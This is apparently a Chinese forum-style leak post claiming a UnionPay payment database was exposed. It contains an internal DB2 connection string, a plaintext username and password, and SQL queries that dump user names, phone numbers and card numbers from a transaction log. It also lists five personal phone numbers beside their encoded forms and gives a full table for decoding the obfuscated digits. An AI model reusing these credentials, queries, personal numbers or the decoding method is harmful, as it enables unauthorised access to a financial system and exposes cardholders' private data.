银联核心数据库服务器(mobilepay.unionpaysecure.com)采用Regain环境,在2012年曾存在严重安全漏洞,使用tcpdump命令可截获用户交易数据,部分数据样本如下:银联user_list.rar

其数据库地址:jdbc:db2://192.168.22.144:60000/upsrvdb,登陆用户db2inst1,密码rcmQ7m047,通过如下命令可下载银联部分内网数据库

SELECT * FROM SYSIBM.SYSTABLES where CREATOR=USER
//列出所有数据库
SELECT TABNAME,COLNAME FROM SYSCAT.columns where TABSCHEMA='DB2INST1'
//列出所有字段
SELECT USER_ID,USER_NAME,PHONE,CARD_NO from TBL_DBN_TXN_LOG1 where CARD_NO !=''
//列出数据

交易数据中很多用户名是手机号。例如:

18696769946    186CACC9946
13764824824    137@?D?4824
13242520913    132>=A?0913
15120751767    151<;CB1767
15820247800    158<;>A7800

第一个号码18696769946加密后是186CACC9946 ,发现加密的字符有3个C,但是对应的数字不一样!!

手机号是按位数加密的!号码加密的是4、5、6、7位的数字!!比如第四位数字,他们就是有统一的字符对应数字。。。比如上面的第4和第5行的号码!!

<对应的就是数字2
第4位 第5位 第6位数 第7位
: 0 ; 0 < 0 = 0
; 1 < 1 = 1 > 1
< 2 = 2 > 2 ? 2
= 3 > 3 ? 3 @ 3
> 4 ? 4 @ 4 A 4
? 5 @ 5 A 5 B 5
@ 6 A 6 B 6 C 6
A 7 B 7 C 7 D 7
B 8 C 8 D 8 E 8
C 9 D 9 E 9 F 9